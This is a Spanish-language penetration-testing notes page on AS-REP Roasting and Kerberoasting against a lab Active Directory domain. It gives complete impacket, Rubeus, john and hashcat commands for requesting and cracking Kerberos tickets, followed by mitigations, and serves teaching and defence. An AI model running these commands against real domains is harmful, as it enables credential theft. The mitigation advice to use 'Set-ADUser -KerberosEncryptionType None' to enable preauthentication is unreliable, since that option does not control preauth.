Ataques a Kerberos

Ataques realizados al protocolo Kerberos.

AS-REP Roast

impacket-GetNPUsers

Podemos comprobar en base a una lista de usuarios cuales de ellos no tienen activo el atributo Kerbereos Pre-Auth. En caso de que el usuario sea valido, obtendremos el TGT (Ticket Granting Ticket) de Kerberos el cual podemos crackear offline.

impacket-GetNPUsers -usersfile valid_ad_users.txt MARVEL.local/ -dc-ip 172.16.0.1 | grep -v "UF_DONT_REQUIRE_PREAUTH"

Utilizamos john para crackear offline el hash y obtener la contraseña en texto claro.

john krb.txt --wordlist=/usr/share/wordlists/rockyou.txt

Rubeus

Subimos rubeus a la máquina víctima y ejecutamos:

.\Rubeus.exe asreproast /user:pparker /domain:MARVEL.local /dc:172.16.0.1

Mitigación del ataque AS-REP Roast

  • Habilitar la preautenticación Kerberos:

    • En PowerShell, podemos uitilizar el cmdlet Set-ADUser -KerberosEncryptionType None para verificar y ajustar la configuración.

    • En Active Directory Users and Computers (ADUC), en la sección de propiedades del usuario, seleccionar la pestaña "Cuenta" y asegúrarse de que la opción "No requerir preautenticación Kerberos" no esté marcada.

  • Utilizar contraseñas robustas.

  • Revisión de políticas de seguridad.

Kerberoasting

Un Service Principal Name (SPN) es un identificador único de una instancia de servicio. Los SPN son utilizados por la autenticación Kerberos para asociar una instancia de servicio con una cuenta de inicio de sesión de servicio. - MSDN

A diferencia del AS-REP Roast, donde no tenemos credenciales previas, en el Kerberoasting necesitamos unas credenciales en texto claro, hash NTLM, shell en el contexto de una cuenta de usuario de dominio,o acceso a nivel SYSTEM de un host unido a un dominio.

Cualquier usuario de dominio válido puede solicitar un ticket kerberos (TGS) para cualquier servicio de dominio. Una vez que se recibe el ticket, se puede descifrar la contraseña sin conexión para intentar descifrar la contraseña para cualquier usuario con el que se esté ejecutando el servicio.

impacket-GetUserSPNs

Solicitar todas las entradas de TGS

impacket-GetUserSPNs MARVEL.local/pparker:Password123 -dc-ip 172.16.0.1 -request

Para facilitar el crackeo offline, siempre es bueno usar la opción -outputfile para escribir los tickets TGS en un archivo que luego puede ser crackeado ejecutando usando hashcat o john.

impacket-GetUserSPNs MARVEL.local/pparker:Password123 -dc-ip 172.16.0.1 -request -outputfile sqldev_tgs

También podemos usar los hashes LMHASH:NTHASH.

impacket-GetUserSPNs MARVEL.local/pparker:Password123 -dc-ip 172.16.0.1 -request -hashes aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e8fdb71

Utilizamos hashcat para romper el hash y recuperar la contraseña de la cuenta de servicio.

ModoDescripción

13100

Kerberos 5 TGS-REP etype 23 (RC4)

19600

Kerberos 5 TGS-REP etype 17 (AES128-CTS-HMAC-SHA1-96)

19700

Kerberos 5 TGS-REP etype 18 (AES256-CTS-HMAC-SHA1-96)

18200

Kerberos 5, etype 23, AS-REP

hashcat -m 13100 krb.txt /usr/share/wordlists/rockyou.txt

Rubeus

Subimos rubeus a la máquina víctima y ejecutamos:

.\Rubeus.exe kerberoast /creduser:MARVEL.local\pparker /credpassword:Password123

Mitigación del ataque Kerberoasting

  • Utilizar contraseñas robustas.

  • Privilegios mínimos: Otorgar a los usuarios únicamente los privilegios necesarios para realizar sus tareas específicas y restringir cualquier privilegio adicional que no sea esencial para evitar posibles riesgos de seguridad. Este enfoque ayuda a reducir la superficie de ataque y a limitar el impacto de posibles violaciones de seguridad.

  • No ejecutar las cuentas de Servicio como Administrador del Dominio.

Última actualización